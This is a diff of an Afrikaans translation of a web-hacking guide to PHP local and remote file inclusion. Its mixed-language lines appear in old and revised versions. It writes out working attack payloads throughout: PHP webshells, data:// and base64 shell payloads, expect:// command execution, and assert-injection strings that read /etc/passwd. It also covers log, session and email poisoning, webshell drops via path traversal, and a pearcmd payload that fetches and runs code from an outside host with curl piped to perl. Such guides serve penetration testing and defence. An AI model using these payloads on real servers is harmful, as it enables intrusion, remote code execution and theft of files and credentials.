-- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons hierdie codec 6 keer toepas a->b->c->d->e->f->g, is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit met die aanvanklike bom vermenigvuldig.
-- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
+- Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php 'n error laat gooi.
+- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en die php error word getrigger omdat dit met die aanvanklike bom vermenigvuldig.
+- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters in die hex-bereik te skuif).
 - Wanneer die aanvanklike char 'n nommer is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die nommer te leak.
-- Die finale probleem is om te sien **hoe om meer te leak as die aanvanklike letter**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
-- En om in staat te wees om **further data** te verkry is die idee om **2 bytes of junk data at the beginning** te genereer met **convert.iconv.UTF16.UTF16**, pas **UCS-4LE** toe om dit te laat **pivot met die volgende 2 bytes**, en **verwyder die data tot by die junk data** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te leak.
+- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
+- En om verder data te kan bekom, is die idee om **2 bytes junk data aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit **te pivot met die volgende 2 bytes**, en die data te **delete tot by die junk data** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy by die gewenste bit kom om te leak.
 
 In die post is 'n tool om dit outomaties uit te voer ook leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
-Hierdie wrapper laat toe om toegang tot file descriptors wat die proses oop het. Potensieel nuttig om die content van geopende files te exfiltrate:
+Hierdie wrapper laat toe om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die inhoud van opened files te exfiltrate:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 and 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
+Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om onderskeidelik toegang tot die **file descriptors 0, 1 and 2** te kry (nie seker hoe dit in 'n aanval nuttig kan wees nie)
 
 ### zip:// and rar://
 
-Laai 'n Zip of Rar-lêer op met 'n PHPShell daarin en kry daartoe toegang.\
-Om die rar-protokol te kan misbruik moet dit **spesifiek geaktiveer word**.
+Laai 'n Zip of Rar-lêer met 'n PHPShell binne en kry toegang daartoe.\
+Om die rar-protokol te kan misbruik moet dit **spesifiek geaktiveer wees**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
 http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-Let daarop dat hierdie protokol beperk is deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
+Neem kennis dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`**
 
 ### expect://
 
-Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer:
+Expect moet geaktiveer wees. Jy kan code hiermee uitvoer:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
@@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
 ```
 ### phar://
 
-'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik om lêers te laai. Die PHP-kodesnippie hieronder demonstreer die skepping van 'n `.phar`-lêer:
+'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` vir lêerlaai gebruik. Die PHP-kodefragment hieronder demonstreer die skep van 'n `.phar`-lêer:
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -358,11 +358,11 @@ Om die `.phar` lêer te kompileer, moet die volgende opdrag uitgevoer word:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik misbruik kan word om Local File Inclusion (LFI)-kwesbaarhede te eksploiteer.
+By uitvoering sal 'n lêer met die naam `test.phar` geskep word, wat moontlik benut kan word om Local File Inclusion (LFI)-kwesbaarhede uit te buit.
 
-In gevalle waar die LFI slegs lêers lees sonder om die PHP-kode daarin uit te voer — byvoorbeeld via funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()` — kan 'n poging aangewend word om 'n deserialisasie-kwesbaarheid te eksploiteer. Hierdie kwesbaarheid hou verband met die lees van lêers deur die gebruik van die `phar` protocol.
+In gevalle waar die LFI slegs lêers lees sonder om die PHP-kode daarin uit te voer — byvoorbeeld deur funksies soos `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, of `filesize()` — kan 'n uitbuiting van 'n deserialization vulnerability probeer word. Hierdie kwesbaarheid hang saam met die lees van lêers deur die `phar` protocol.
 
-Vir 'n gedetailleerde begrip van die eksploitasie van deserialisasie-kwesbaarhede in die konteks van `.phar`-lêers, verwys na die dokument hieronder:
+For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
 
 [Phar Deserialization Exploitation Guide](phar-deserialization.md)
 
@@ -373,75 +373,76 @@ phar-deserialization.md
 
 ### CVE-2024-2961
 
-Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Baie kort samevatting: 'n **3 byte overflow** in die PHP heap is misbruik om die **ketting van free chunks** van 'n spesifieke grootte te verander sodat dit moontlik was om **write anything in any address**, daarom is 'n hook bygevoeg om **`system`** aan te roep.\ Dit was moontlik om chunks van spesifieke groottes te alloc deur meer php filters te misbruik.
+Dit was moontlik om **any arbitrary file read from PHP that supports php filters** te misbruik om 'n RCE te kry. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Baie kort opsomming: 'n **3 byte overflow** in die PHP heap is misbruik om die **alter the chain of free chunks** van anspecific grootte te verander sodat dit moontlik was om **write anything in any address**, daarom is 'n hook bygevoeg om **`system`** aan te roep.\
+Dit was moontlik om alloc chunks van spesifieke groottes te skep deur meer php filters te misbruik.
 
 ### Meer protokolle
 
-Kyk by meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Kyk na meer moontlike[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (not sure how this can be useful in a file inclusion attack)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n file inclusion attack)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
-- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URL's
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s)-URL's
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressiestrome
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind padname wat by 'n patroon pas (Dit gee niks printbaars terug nie, so nie regtig nuttig hier nie)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Vind pathnames wat by 'n patroon pas (dit lewer niks drukbaars terug, so nie regtig nuttig hier nie)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-strome (Not useful to read arbitrary files)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-strome (nie nuttig om arbitrary files te lees nie)
 
 ## LFI via PHP's 'assert'
 
-Local File Inclusion (LFI)-risiko's in PHP is veral hoog wanneer daar met die 'assert' funksie gewerk word, wat kode binne stringe kan uitvoer. Dit is veral problematies as insette wat directory traversal-karaktere soos ".." bevat, getoets word maar nie behoorlik gesuiwer nie.
+Local File Inclusion (LFI)-risiko's in PHP is besonder hoog wanneer die 'assert' funksie betrokke is, aangesien dit kode binne stringe kan uitvoer. Dit is veral problematies as input wat directory traversal karakters soos ".." bevat, gekontroleer word maar nie behoorlik gesaniteer nie.
 
-Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal te voorkom soos volg:
+Byvoorbeeld, PHP-kode mag ontwerp wees om directory traversal soos volg te voorkom:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Terwyl dit daarop gemik is om traversal te stop, skep dit onbedoeld 'n vektor vir code injection. Om dit te misbruik om lêerinhoud te lees, kan 'n attacker gebruik:
+Alhoewel dit daarop gemik is om traversal te stop, skep dit onbedoeld 'n vektor vir code injection. Om dit te exploit om lêerinhoud te lees, kan 'n attacker gebruik:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-Net so, om arbitrêre stelselopdragte uit te voer, kan iemand gebruik:
+Net so, om ewekansige stelselopdragte uit te voer, kan 'n mens gebruik:
 ```plaintext
 ' and die(system("id")) or '
 ```
-Dit is belangrik om **URL-encode these payloads**.
+Dit is belangrik om hierdie payloads te **URL-encode**.
 
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Hierdie tegniek is relevant in gevalle waar jy die **control** oor die **file path** van 'n **PHP function** het wat 'n **access a file** sal uitvoer, maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**).
+> Hierdie tegniek is relevant in gevalle waar jy die **lêerpad** van 'n **PHP-funksie** beheer wat 'n **lêer** sal aangryp, maar jy sien nie die inhoud van die lêer nie (soos 'n eenvoudige oproep na **`file()`**) omdat die inhoud nie vertoon word.
 
-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via 'n PHP filter misbruik kan word om die inhoud van 'n lêer via 'n error oracle te **exfiltrate**.
 
-As opsomming gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n lêer so groot te maak dat die **PHP function opening** die lêer 'n fout sal veroorsaak.
+In samevatting gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
 
-Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik tesame met ander soos **base64** of **rot13**, en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om ander chars aan die begin te plaas en hulle te leak.
+Daarna, om die eerste karakter te leak, word die filter **`dechunk`** saam met ander soos **base64** of **rot13** gebruik en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te leak**.
 
 **Funksies wat moontlik kwesbaar is**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
-Vir die tegniese besonderhede, kyk die genoemde post!
+Vir die tegniese besonderhede, sien die genoemde post!
 
 ## LFI2RCE
 
 ### Arbitrary File Write via Path Traversal (Webshell RCE)
 
-Wanneer server-side kode wat lêers ingevoer/opgelaai kry die bestemmingspad bou met gebruikersbeheerde data (bv. 'n filename of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute paaie die bedoelde gids verlaat en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
+Wanneer server-side kode wat lêers inlees/upload verwerk die bestemmingpad bou met gebruiker-beheerde data (bv. 'n filename of URL) sonder om dit te canonicaliseer en te valideer, kan `..` segments en absolute paths uit die beoogde gids ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell te drop.
 
-Typical exploitation workflow:
-- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
+Tipiese uitbuitingstroom:
+- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n pad/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
 - Bepaal web-exposed directories. Algemene voorbeelde:
-  - Apache/PHP: `/var/www/html/`
-  - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
-  - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Skryf 'n traversal pad wat uit die bedoelde stoor-gids breek in die webroot, en sluit jou webshell-inhoud in.
-- Blaai na die neergesette payload en voer opdragte uit.
+- Apache/PHP: `/var/www/html/`
+- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
+- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
+- Stel 'n traversal path saam wat uit die beoogde stoor-gids uitbreek na die webroot, en sluit jou webshell inhoud in.
+- Blaai na die dropped payload en voer opdragte uit.
 
-Notas:
-- Die kwetsbare diens wat die skryf uitvoer kan op 'n nie-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof webportaal (anders poort) sal later jou payload bedien.
-- Op Java stacks word hierdie lêerskrywings dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
+Nota:
+- Die kwesbare diens wat die skryf uitvoer mag na 'n non-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portal (verskillende poort) sal later jou payload bedien.
+- Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
 
-Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
+Generiese XML/JMF-styl voorbeeld (produk-skemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <JMF SenderID="hacktricks" Version="1.3">
@@ -465,25 +466,26 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Verharding wat hierdie klas foute neutraliseer:
-- Los dit op na 'n kanoniese pad en dwing af dat dit 'n afstammeling is van 'n toegelate basismap.
-- Verwerp enige pad wat `..`, absolute roots, of drive letters bevat; verkies gegenereerde lêernamme.
-- Laat die writer loop as 'n laag-privilegieerde rekening en skei skryfgidse van geserveerde wortels.
+Verharding wat hierdie klas foute teëwerk:
+- Los op na 'n canonical path en dwing af dat dit 'n afstammeling van 'n allow-listed base directory is.
+- Weier enige path wat `..`, absolute roots, of drive letters bevat; verkies gegenereerde filenames.
+- Laat die writer loop as 'n laag-privilege rekening en skei write directories van served roots.
 
 ## Remote File Inclusion
 
-Eerder verduidelik, [**follow this link**](#remote-file-inclusion).
+Eerder verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
 
 ### Via Apache/Nginx log file
 
-As die Apache- of Nginx-bediener **kwesbaar vir LFI** binne die include-funksie is, kan jy probeer toegang kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, 'n php shell soos **`<?php system($_GET['c']); ?>`** in die **user agent** of in 'n **GET parameter** plaas en daardie lêer include.
+As die Apache of Nginx-bediener **vulnerable to LFI** binne die include-funksie is, kan jy probeer toegang kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, en in die **user agent** of in 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** plaas en daardie lêer include.
 
 > [!WARNING]
-> Let wel dat **as jy dubbel quotes gebruik** vir die shell in plaas van **simple quotes**, sal die dubbel quotes verander word na die string "_**quote;**_", **PHP sal daar 'n fout gooi** en **niks anders sal uitgevoer word**.
+> Let wel dat **as jy dubbele aanhalingstekens gebruik** vir die shell in plaas van **simple quotes**, die dubbele aanhalingstekens verander sal word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
 >
-> Maak ook seker dat jy die **payload korrekt skryf** of PHP elke keer 'n fout sal gee wanneer dit probeer om die log file te laai en jy sal nie 'n tweede geleentheid hê nie.
+> Maak ook seker dat jy die **payload korrek skryf** anders sal PHP elke keer 'n fout gee wanneer dit probeer die log-lêer laai en jy sal nie 'n tweede geleentheid hê nie.
 
-Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingegooi word.\ Other possible log paths:
+Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingesit word.\
+Ander moontlike log paths:
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@@ -497,44 +499,44 @@ Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne d
 ```
 Fuzzing woordlys: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
 
-### Deur e-pos
+### Via E-pos
 
 **Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
 
-### Deur /proc/*/fd/*
+### Via /proc/\*/fd/\*
 
 1. Laai baie shells op (byvoorbeeld: 100)
-2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, with $PID = PID van die proses (kan met brute force probeer word) en $FD die file descriptor (kan ook met brute force probeer word)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan deur brute force bepaal word) en $FD = die lêerbeskrywer (kan ook deur brute force bepaal word)
 
-### Deur /proc/self/environ
+### Via /proc/self/environ
 
-Soos 'n loglêer, stuur die payload in die User-Agent; dit sal in die /proc/self/environ-lêer weerspieël word.
+Soortgelyk aan 'n log-lêer: stuur die payload in die User-Agent; dit sal weerspieël word in die /proc/self/environ-lêer
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Deur oplaai
+### Via upload
 
-As jy 'n lêer kan oplaai, injekteer net die shell payload daarin (e.g : `<?php system($_GET['c']); ?>` ).
+As jy 'n lêer kan upload, inject net die shell payload daarin (bv: `<?php system($_GET['c']); ?>` ).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Om die lêer leesbaar te hou, is dit die beste om dit in die metagegewens van die beelde/doc/pdf in te voeg
+Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van pictures/doc/pdf in te voeg
 
-### Via ZIP-lêer oplaai
+### Deur ZIP-lêer op te laai
 
-Laai 'n ZIP-lêer op wat 'n PHP shell bevat (gekompresseer) en kry toegang:
+Laai 'n ZIP-lêer op wat 'n saamgeperste PHP shell bevat en toegang:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Via PHP sessions
+### Deur PHP-sessies
 
-Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik.
+Kontroleer of die webwerf PHP-sessies gebruik (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-In PHP word hierdie sessions gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers
+In PHP word hierdie sessies gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@@ -543,32 +545,32 @@ Stel die cookie in op `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Gebruik die LFI om die PHP-sessielêer in te sluit
+Gebruik die LFI om die PHP-sessie-lêer in te sluit
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
-### Via ssh
+### Deur ssh
 
-Indien ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\<HOME>/.ssh/id_rsa**
+As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\<HOME>/.ssh/id_rsa**
 
-### **Via** **vsftpd** _**logs**_
+### **Deur** **vsftpd** _**loglêers**_
 
-Die logs vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
+Die loglêers vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
 
 1. Inspuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
-2. Na inspuiting, gebruik die LFI om die bedienerlogs vanaf _**/var/log/vsftpd.log**_ te verkry.
+2. Na inspuiting, gebruik die LFI om die bedienerloglêers van _**/var/log/vsftpd.log**_ te haal.
 
-### Via php base64 filter (using base64)
+### Deur php base64 filter (met base64)
 
-Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, PHP base64 filter ignoreer nie-base64 karakters. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeld payload:
+Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel aangetoon, ignoreer die PHP base64-filter karakters wat nie base64 is nie. Jy kan dit gebruik om die kontrole op lênaansluitings te omseil: as jy base64 voorsien wat op ".php" eindig, sal die filter die "." eenvoudig ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeldpayload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
 
 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Via php filters (geen lêer nodig)
+### Via php filters (no file needed)
 
-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om ewekansige inhoud as output te genereer**. Dit beteken basies dat jy **ewekansige php-kode kan genereer** vir die include **sonder om dit in ’n lêer te skryf**.
+Hierdie [**beskrywing** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters om ewekansige inhoud te genereer** kan gebruik as uitvoer. Dit beteken basies dat jy **ewekansige php code** vir die include kan **genereer sonder om dit in 'n lêer te skryf**.
 
 
 {{#ref}}
@@ -577,7 +579,7 @@ lfi2rce-via-php-filters.md
 
 ### Via segmentation fault
 
-**Upload** 'n lêer wat as **tydelike** in `/tmp` gestoor sal word, dan in die **dieselfde request,** veroorsaak 'n **segmentation fault**, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarna soek.
+**Laai 'n lêer op** wat as **tydelik** in `/tmp` gestoor sal word, dan in die **selfde versoek,** 'n **segmentation fault** veroorsaak, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarvoor soek.
 
 
 {{#ref}}
@@ -586,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
 
 ### Via Nginx temp file storage
 
-If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
+As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, mag jy met die volgende tegniek RCE kan bekom:
 
 
 {{#ref}}
@@ -595,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
 
 ### Via PHP_SESSION_UPLOAD_PROGRESS
 
-If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
+As jy 'n **Local File Inclusion** gevind het, selfs as jy **nie 'n session het nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **session vir jou aktiveer**. Jy kan dit misbruik om RCE te kry:
 
 
 {{#ref}}
@@ -604,7 +606,7 @@ via-php_session_upload_progress.md
 
 ### Via temp file uploads in Windows
 
-If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
+As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, mag jy RCE kry:
 
 
 {{#ref}}
@@ -613,9 +615,9 @@ lfi2rce-via-temp-file-uploads.md
 
 ### Via `pearcmd.php` + URL args
 
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), die script `/usr/local/lib/phppearcmd.php` bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die script deur die URL te gee omdat aangedui word dat as 'n URL-param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
 
-The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
+Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
@@ -626,27 +628,27 @@ Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b allte
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-### Via phpinfo() (file_uploads = on)
+### Deur phpinfo() (file_uploads = on)
 
